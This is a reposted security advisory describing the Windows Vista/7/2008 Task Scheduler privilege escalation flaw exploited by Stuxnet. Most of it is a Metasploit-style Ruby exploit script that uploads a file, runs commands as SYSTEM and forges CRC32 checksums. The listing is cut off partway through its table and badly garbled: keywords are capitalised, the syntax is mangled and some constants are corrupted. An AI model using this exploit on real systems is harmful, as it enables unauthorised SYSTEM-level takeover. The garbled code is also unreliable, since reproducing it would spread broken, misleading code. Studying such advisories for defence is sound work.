Microsoft Windows Task Scheduling Service Local Privilege Escalation Vulnerability

Source: Internet
Author: User

Affected Systems:

Microsoft Windows Vista
Microsoft Windows Server 2008
Microsoft Windows 7
Description:
Microsoft Windows is a very popular operating system released by Microsoft.

In Windows, the task scheduling service has an access verification vulnerability. Local attackers may exploit this vulnerability to escalate their permissions to SYSTEM for full SYSTEM control.

The task scheduling service does not properly prevent users from modifying some fields in the XML definition file through the COM interface. As a result, malicious users manipulate a valid XML file and bypass CRC verification to execute arbitrary commands with SYSTEM permissions.

<**>

Test method:

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

##
# $ Id: $
##

##
#
# This script exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet
#
# Disclosed around Oct 22,201 0
#
# Written by jduck
#
##

Require zlib

#
# Filter out sessions that this definitely wont work on.
#
Vuln = false
If session. platform = ~ /Win32 | win64/
Winver = session. sys. config. sysinfo ["OS"]
Affected = [Windows Vista, Windows 7, Windows 2008]
Affected. each {| v |
If winver. include? V
Vuln = true
Break
End
}
End

If not vuln
Print_error ("# {winver} is not vulnerable .")
Return Rex: Script: Completed
End

#
# We have a chance to succeed, check params
#
@ Exec_opts = Rex: Parser: Arguments. new (
"-H" => [false, "Help menu."],
"-C" => [true, "Execute the specified command"],
"-U" => [true, "Upload and execute the specified file"]
)

Def usage
Print_line ("Schelevator -- Exploit for Windows Vista/7/2008 Task Scheduler 2.0 Privilege Escalation ")
Print (@ exec_opts.usage)
Raise Rex: Script: Completed
End

Cmd = nil
Upload_fn = nil
@ Exec_opts.parse (args) {| opt, idx, val |
Case opt

When "-c"
Cmd = val

When "-u"
Upload_fn = val
If not: File. exists? (Upload_fn)
Raise "Specified file to upload does not exist! "
End

When "-h"
Usage

End
}

# Must have at least one of-c or-u
Usage if not cmd and not upload_fn

#
# Upload the payload command if needed
#
If upload_fn
Location = session. fs. file. expand_path ("% TEMP % ")
Begin
Ext = upload_fn.split (.)
If ext
Ext = ext. last. downcase
If ext = "exe"
Location = "# {location} \ svhost1_rand(1001_0000.exe"
Else
Location = "# {location} \ TMP # {rand (100) }#{ ext }"
End
Else
Location = "# {location} \ TMP # {rand (100 )}"
End

Print_status ("Uploading # {upload_fn} to # {location }....")
Session. fs. file. upload_file (location, upload_fn)
Print_status ("Upload complete .")
Rescue: Exception => e
Print_error ("Error uploading file # {upload_fn }:#{ e. class }#{ e }")
Raise e
End

Cmd | = location
End


#
# CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably
# Reversed from Microsofts code)
#
Class ESET
BWD_Table | = [
0x00000000, 0xdb738541, 0x6D930AC3, 0xB6E20C82,
0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904,
0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF,
0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449,
0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618,
0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E,
0xB74777D7, 0x6c0000196, 0xDAD47D14, 0x01A57B55,
0x6c616133, 0xB7106410, 0x01F26892, 0xDA836ED3,
0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7,
0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71,
0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA,
0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C,
0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D,
0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB,
0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820,
0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6,
0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68,
0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xb2cf7133,
0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725,
0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3,
0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2,
0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574,
0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF,
0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839,
0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066cd133,
0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B,
0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450,
0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6,
0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387,

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.